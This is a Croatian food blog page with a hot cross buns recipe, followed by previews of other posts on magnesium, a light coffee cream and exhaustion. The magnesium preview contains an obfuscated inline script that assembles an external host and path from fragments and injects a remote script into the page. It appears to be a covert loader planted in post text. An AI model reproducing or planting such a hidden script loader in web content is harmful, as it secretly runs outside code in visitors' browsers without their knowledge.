HOT CROSS BUNS - OMILJENA USKRSNA PECIVA





Hot cross buns - omiljena uskrsna peciva 




Uskrsno razdoblje donosi prepoznatljive okuse i mirise koji nas vraćaju tradiciji, a jedno od najpoznatijih peciva tog vremena svakako su hot cross buns. Ova mekana peciva s prepoznatljivim križem na vrhu najviše se povezuju s Ujedinjenim Kraljevstvom, no popularna su i u Irskoj, Australiji, Novom Zelandu te Južnoafričkoj Republici.





Hot cross buns 


Sastojci:

  • 500 g glatkog brašna
  • 1 vrećica suhog kvasca (ili 20 g svježeg)
  • 250 ml toplog mlijeka
  • 75 g šećera
  • 1 vanilin šećer
  • 1 žličica cimeta
  • prstohvat muškatnog oraščića
  • prstohvat soli
  • 1 jaje
  • 75 g otopljenog maslaca
  • 150 g grožđica ili suhog voća po želji
  • naribana korica naranče

Za križ:

  • 3 žlice brašna
  • 2–3 žlice vode

Za premaz:

  • 2 žlice džema od marelice




Priprema:

  • U većoj zdjeli pomiješajte brašno, šećer, kvasac, začine i sol.
  • Dodajte toplo mlijeko, jaje i otopljeni maslac pa zamijesite glatko tijesto. Na kraju umiješajte grožđice i koricu naranče.
  • Tijesto pokrijte i ostavite da se diže oko sat vremena, dok se ne udvostruči. Zatim ga podijelite na 12 jednakih dijelova i oblikujte kuglice.
  • Posložite ih na lim obložen papirom za pečenje i ostavite još 30 minuta da se dižu.
    Za križ pomiješajte brašno i vodu u gustu smjesu pa je pomoću vrećice za ukrašavanje nanesite u obliku križa na svako pecivo.
  • Pecite u pećnici zagrijanoj na 180 °C oko 20–25 minuta, dok ne dobiju zlatnu boju. Dok su još topli, premažite ih lagano zagrijanim džemom od marelice kako bi dobili sjaj.
  • Poslužite ih tople, uz maslac ili omiljeni namaz i uživajte u jednom od najljepših uskrsnih rituala.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više